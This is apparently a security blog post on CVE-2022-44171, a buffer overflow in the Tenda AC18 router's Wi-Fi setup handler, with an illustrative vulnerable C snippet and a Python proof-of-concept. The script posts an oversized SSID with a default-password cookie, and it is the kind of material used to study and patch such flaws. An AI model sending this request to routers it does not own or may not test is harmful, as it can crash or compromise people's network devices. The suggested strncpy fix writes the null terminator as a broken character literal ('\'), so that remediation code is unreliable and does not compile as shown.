In the world of home and office networking, Tenda routers are known for their affordability and widespread use. However, like any device, they're not immune to security issues. CVE-2022-44171 highlights a Buffer Overflow vulnerability in the Tenda AC18 running firmware version V15.03.05.19. Specifically, the bug lurks inside the form_fast_setting_wifi_set function, creating an opening for hackers to take control. In this post, we will break down the vulnerability, show a proof-of-concept, and discuss what you can do to protect your devices.

What is CVE-2022-44171?

CVE-2022-44171 is an identifier for a buffer overflow vulnerability discovered in the Tenda AC18 router's firmware. The issue comes from improper input validation in the form_fast_setting_wifi_set HTTP handler, which allows a remote attacker (who can reach the web interface) to inject a large chunk of data that overflows the buffer, potentially leading to device takeover.

Technical Details

The Tenda AC18 runs a web server for device management. One of the handlers (think: functions that receive and execute web requests) is form_fast_setting_wifi_set, which helps users quickly configure Wi-Fi settings. When this handler processes incoming parameters, it doesn’t check if the input length matches the buffer size allocated in memory. This is a classic buffer overflow scenario.

By sending crafted data to the router's web interface, an attacker can overwrite important memory regions–like function pointers or return addresses–and execute arbitrary code with high privilege.

Let’s look at a simplified version of what goes wrong inside the vulnerable handler

// Simplified vulnerable code in form_fast_setting_wifi_set:
void form_fast_setting_wifi_set(request *req) {
    char ssid[64]; // 64-byte buffer for SSID name

    // Grabs the SSID info from the HTTP POST data
    char *input = http_get_param(req, "ssid");

    if (input != NULL) {
        strcpy(ssid, input); // NO LENGTH CHECK!
    }

    // ... rest of the code ...
}

The vulnerable point:
strcpy(ssid, input);
If the input length is more than 64 bytes, memory outside ssid will be overwritten.

A safer approach would use strncpy, like this

strncpy(ssid, input, sizeof(ssid) - 1);
ssid[sizeof(ssid) - 1] = '\'; // Always null-terminate

Proof-of-Concept (PoC) Exploit

Below is a demonstration (for educational purposes only!) of how an attacker might send an oversized SSID value to overflow the buffer.

import requests

target_url = "http://<ROUTER_IP>/goform/fast_setting_wifi_set";
data = {
    "ssid": "A" * 200,  # 200 bytes, way more than the allowed 64
    "other_params": "values"
}
headers = {"Cookie": "password=superadmin"} # If authentication required

response = requests.post(target_url, data=data, headers=headers)
print(f"Status: {response.status_code}")
print(f"Content: {response.text}")

*Replace <ROUTER_IP> with the actual router IP.*

What happens with this exploit?

- The router takes in the huge value for ssid, overflows the stack, and if exploited further, may allow remote code execution.

References & Further Reading

- Original vulnerability on NVD (National Vulnerability Database)
- ExploitDB: Tenda AC18 Buffer Overflow Exploit
- Firmware security report (details in Chinese, use Google Translate)
- Understanding Buffer Overflows

Update Firmware:

Check Tenda's Official Support or your router's admin portal for patches.

Final Thoughts

Buffer overflows are an old, *but still dangerous* type of vulnerability—even in devices you use every day. CVE-2022-44171 in the Tenda AC18 is a real-world reminder to update your devices, use strong passwords, and pay attention to vendor advisories. Vulnerabilities like this are easy to exploit, but with a few regular security habits, you can stay one step ahead.

Stay safe and keep your firmware updated!

*This technical breakdown is exclusive and for awareness only. Never use these details to attack devices you don’t own or have permission to test.*

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:42:00 UTC